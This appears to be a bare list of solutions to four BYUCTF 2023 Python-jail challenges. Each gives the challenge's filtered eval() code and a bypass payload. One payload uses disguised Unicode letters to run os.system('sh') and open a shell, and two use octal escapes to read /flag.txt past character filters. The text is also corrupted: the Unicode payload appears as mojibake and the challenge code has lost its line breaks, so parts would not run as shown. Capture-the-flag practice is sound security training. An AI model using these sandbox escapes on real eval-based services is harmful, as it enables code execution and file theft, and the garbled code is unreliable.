BYUCTF 2023: a-z0-9
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])
__๐ช๐ฎ๐ฑ๐ฐ๐ณ๐ต__(๐ค๐ฉ๐ณ(๐ฐ๐ณ๐ฅ('ส')-๐ฐ๐ณ๐ฅ('ศซ'))+๐ค๐ฉ๐ณ(๐ฐ๐ณ๐ฅ('ล')-๐ฐ๐ณ๐ฅ('รฆ'))).๐ด๐บ๐ด๐ต๐ฆ๐ฎ(๐ค๐ฉ๐ณ(๐ฐ๐ณ๐ฅ('ล')-๐ฐ๐ณ๐ฅ('รฆ'))+๐ค๐ฉ๐ณ(๐ฐ๐ณ๐ฅ('ศ')-๐ฐ๐ณ๐ฅ('ฦก')))
BYUCTF 2023: Leet 2
import reFLAG = open('flag.txt').read()inp = input('> ')if re.search(r'[123456789]', inp) or re.search(r'\(', inp) or eval(inp) != 1337: print('Nope')else: print(FLAG)
[_:=[]>[],~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_][[]==[]]*~_
BYUCTF 2023: abcdefghijklm
inp = input("code > ").lower()eval((inp[:4]+__import__("re").sub(r'[a-m]','',inp[4:]))[:80])
eval("op\\145n(*op\\145n('/\\146\\154\\141\\147.txt'))")
BYUCTF 2023: nopqrstuvwxyz
inp = input("code > ").lower()eval((inp[:4]+__import__("re").sub(r'[n-z]','',inp[4:]))[:80])
eval("\\157\\160e\\156(*\\157\\160e\\156('/flag.\\164\\170\\164'))")